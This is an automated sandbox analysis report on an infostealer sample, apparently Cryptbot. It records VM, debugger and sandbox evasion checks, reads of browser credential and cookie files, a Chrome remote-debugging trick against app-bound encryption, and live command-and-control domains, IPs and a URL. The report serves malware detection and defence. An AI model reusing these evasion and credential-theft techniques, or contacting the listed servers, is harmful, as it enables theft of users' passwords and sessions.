Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F0C2F second address: 74F0C5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F6AA0FFB730h 0x00000010 push dword ptr [ebp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F0C5C second address: 74F0C62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F0C62 second address: 74F0C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74F0C66 second address: 74F0C8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f movzx esi, dx 0x00000012 push eax 0x00000013 push edx 0x00000014 mov ebx, 1FDC77BAh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 756091F second address: 7560925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7560925 second address: 7560929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7560929 second address: 756092D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 12E5232 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 14B7B04 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 14A38EB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 151B4AE instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 2748 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 2685 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 2618 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 2706 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 7293 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\service123.exe API coverage: 0.8 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 6276 Thread sleep count: 60 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6276 Thread sleep time: -120060s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2380 Thread sleep count: 68 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2380 Thread sleep time: -136068s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4768 Thread sleep time: -32000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5512 Thread sleep count: 55 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5512 Thread sleep time: -110055s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 412 Thread sleep count: 2748 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 412 Thread sleep time: -5498748s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3364 Thread sleep count: 58 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3364 Thread sleep time: -116058s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2952 Thread sleep count: 2685 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2952 Thread sleep time: -5372685s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7132 Thread sleep count: 2618 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7132 Thread sleep time: -5238618s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 1276 Thread sleep count: 2706 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 1276 Thread sleep time: -270600s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 1276 Thread sleep count: 7293 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 1276 Thread sleep time: -729300s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\service123.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\service123.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\service123.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\service123.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\doomed\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\entries\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Source: Amcache.hve.12.dr Binary or memory string: VMware
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.12.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.12.dr Binary or memory string: VMware, Inc.
Source: file.exe, 00000000.00000003.2057584142.0000000006D61000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlK'
Source: Amcache.hve.12.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.12.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.12.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000003.2025094948.00000000077E9000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Amcache.hve.12.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.12.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 00000003.00000002.2455791683.000002F4E7F37000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.12.dr Binary or memory string: vmci.sys
Source: file.exe, 00000000.00000003.2025094948.00000000077E9000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Amcache.hve.12.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.12.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.12.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.12.dr Binary or memory string: VMware20,1
Source: Amcache.hve.12.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.12.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.12.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.12.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.12.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.12.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.12.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\file.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\Desktop\file.exe File opened: NTICE
Source: C:\Users\user\Desktop\file.exe File opened: SICE
Source: C:\Users\user\Desktop\file.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00218230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 7_2_00218230
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_0021116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit, 7_2_0021116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00211160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 7_2_00211160
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_002111A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 7_2_002111A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_002113C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm, 7_2_002113C9
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1C84D0 cpuid 7_2_6C1C84D0
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\file.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: file.exe, 00000000.00000003.2025094948.00000000077E9000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: procmon.exe
Source: Amcache.hve.12.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: msmpeng.exe
Source: file.exe, 00000000.00000003.2025094948.00000000077E9000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: wireshark.exe
Source: Amcache.hve.12.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Clipboard Hijacker
Source: Yara match File source: 7.2.service123.exe.6c140000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: Process Memory Space: service123.exe PID: 5012, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
Leaks process information
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 34.118.84.150:80
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1565416 Sample: file.exe Startdate: 29/11/2024 Architecture: WINDOWS Score: 100 49 Suricata IDS alerts for network traffic 2->49 51 Antivirus / Scanner detection for submitted sample 2->51 53 Multi AV Scanner detection for submitted file 2->53 55 7 other signatures 2->55 7 file.exe 5 3 2->7         started        12 service123.exe 2->12         started        14 service123.exe 2->14         started        16 2 other processes 2->16 process3 dnsIp4 41 home.twentykx20pt.top 34.118.84.150, 49705, 49706, 49744 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG United States 7->41 43 httpbin.org 18.213.123.165, 443, 49704 AMAZON-AESUS United States 7->43 45 2 other IPs or domains 7->45 35 C:\Users\user\AppData\...\service123.exe, PE32 7->35 dropped 37 C:\Users\user\...\HFInUAYNqgsnDSwNdDpz.dll, PE32 7->37 dropped 57 Attempt to bypass Chrome Application-Bound Encryption 7->57 59 Tries to detect sandboxes and other dynamic analysis tools (window names) 7->59 61 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 7->61 63 8 other signatures 7->63 18 WerFault.exe 19 16 7->18         started        21 chrome.exe 7->21         started        24 schtasks.exe 1 7->24         started        26 service123.exe 7->26         started        file5 signatures6 process7 dnsIp8 33 C:\ProgramData\Microsoft\...\Report.wer, Unicode 18->33 dropped 39 239.255.255.250 unknown Reserved 21->39 28 chrome.exe 21->28         started        31 conhost.exe 24->31         started        file9 process10 dnsIp11 47 www.google.com 172.217.21.36, 443, 49763, 49764 GOOGLEUS United States 28->47
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
18.213.123.165
 httpbin.org United States
14618 AMAZON-AESUS false
239.255.255.250
 unknown Reserved
unknown unknown false
172.217.21.36
 www.google.com United States
15169 GOOGLEUS false
34.118.84.150
 twentykx20pt.top United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
twentykx20pt.top 34.118.84.150 true
home.twentykx20pt.top 34.118.84.150 true
www.google.com 172.217.21.36 true
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com 217.20.56.102 true
httpbin.org 18.213.123.165 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://home.twentykx20pt.top/bugEWhhZIPIipxajeFfO1732855736?argument=V3pE2pk3ErlV9NFr1732904223 true
  • Avira URL Cloud: safe
 unknown